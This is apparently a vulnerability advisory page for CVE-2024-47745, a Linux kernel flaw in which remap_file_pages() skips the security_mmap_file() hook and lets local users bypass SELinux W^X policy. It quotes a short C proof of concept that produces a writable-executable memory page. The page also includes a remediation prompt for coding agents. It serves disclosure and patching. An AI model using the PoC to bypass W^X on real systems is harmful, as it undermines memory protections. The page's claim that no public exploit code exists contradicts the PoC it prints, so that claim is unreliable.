# CVE-2024-47745: mm: call the security_mmap_file() LSM hook in remap_file_pages()

> Local attackers can bypass SELinux W^X policies to execute code on writable memory pages via the remap_file_pages syscall.

- **Severity:** High 7.8 (`CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`)
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Local or same network only
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 21 Oct 2024
- **Updated:** 5 Aug 2026
- **Also known as:** AZL-50713, AZL-50975, BELL-CVE-2024-47745, DEBIAN-CVE-2024-47745, GHSA-qpxg-4f92-ww23, ROOT-OS-DEBIAN-11-CVE-2024-47745, ROOT-OS-UBUNTU-2204-CVE-2024-47745, UBUNTU-CVE-2024-47745

## What is CVE-2024-47745?

CVE-2024-47745 is a high-severity vulnerability in Debian Debian Linux, published on 21 Oct 2024. It can only be exploited from the same machine or local network, with no action from the victim.

### Official description

In the Linux kernel, the following vulnerability has been resolved:

mm: call the security_mmap_file() LSM hook in remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which
doesn't contain the LSM security check. And if the process has called
personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for
RW pages, this will actually result in remapping the pages to RWX,
bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the
remap_file_pages syscall handler before do_mmap() is called. Otherwise, it
potentially permits an attacker to bypass a W^X policy enforced by
SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via
AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) {
	size_t pagesz = sysconf(_SC_PAGE_SIZE);
	int mfd = syscall(SYS_memfd_create, "test", 0);
	const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,
		MAP_SHARED, mfd, 0);
	unsigned int old = syscall(SYS_personality, 0xffffffff);
	syscall(SYS_personality, READ_IMPLIES_EXEC | old);
	syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);
	syscall(SYS_personality, old);
	// show the RWX page exists even if W^X policy is enforced
	int fd = open("/proc/self/maps", O_RDONLY);
	unsigned char buf2[1024];
	while (1) {
		int ret = read(fd, buf2, 1024);
		if (ret <= 0) break;
		write(1, buf2, ret);
	}
	close(fd);
}

$ gcc test.c -o test
$ ./test | grep rwx
7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

[PM: subject line tweaks]

Weakness: CWE-670 (Always-Incorrect Control Flow Implementation)

## Which versions are affected by CVE-2024-47745?

It affects 2 products.


Products: Debian Debian Linux, Linux kernel.

## How do I fix CVE-2024-47745?

Apply the vendor's patch.

## Is CVE-2024-47745 being exploited?

There is no known exploitation of CVE-2024-47745 in the wild and no public exploit code.

## Other vulnerabilities in Debian Debian Linux

- [CVE-2015-3306](https://insights.sbomify.com/CVE-2015-3306/): ProFTPD Improper Access Control (critical 10.0, exploited in the wild)
- [CVE-2025-49113](https://insights.sbomify.com/CVE-2025-49113/): RoundCube Webmail Deserialization of Untrusted Data (critical 9.9, exploited in the wild)
- [CVE-2026-24061](https://insights.sbomify.com/CVE-2026-24061/): GNU InetUtils Argument Injection (critical 9.8, exploited in the wild)
- [CVE-2025-39682](https://insights.sbomify.com/CVE-2025-39682/): Linux Kernel Improper Check for Unusual or Exceptional Conditions (critical 9.8, exploited in the wild)
- [CVE-2024-9680](https://insights.sbomify.com/CVE-2024-9680/): Mozilla Firefox Use-After-Free (critical 9.8, exploited in the wild)

## Fix prompt for AI coding agents

```text
Check this codebase for CVE-2024-47745 and fix it if it is affected.

What it is: CVE-2024-47745 is a high-severity vulnerability in Debian Debian Linux, published on 21 Oct 2024. It can only be exploited from the same machine or local network, with no action from the victim.
Exploitation: There is no known exploitation of CVE-2024-47745 in the wild and no public exploit code.

Affected product: Debian Debian Linux. No package-level version data is available, so check the vendor advisory linked from the reference page.

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/CVE-2024-47745/ (Markdown: https://insights.sbomify.com/CVE-2024-47745/index.md)
```

## Sources

- CVE record: https://www.cve.org/CVERecord?id=CVE-2024-47745
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-47745
- OSV: https://osv.dev/vulnerability/CVE-2024-47745

---
From sbomify Insights: https://insights.sbomify.com/CVE-2024-47745/
Summaries are generated and may contain mistakes; the official description above is the record.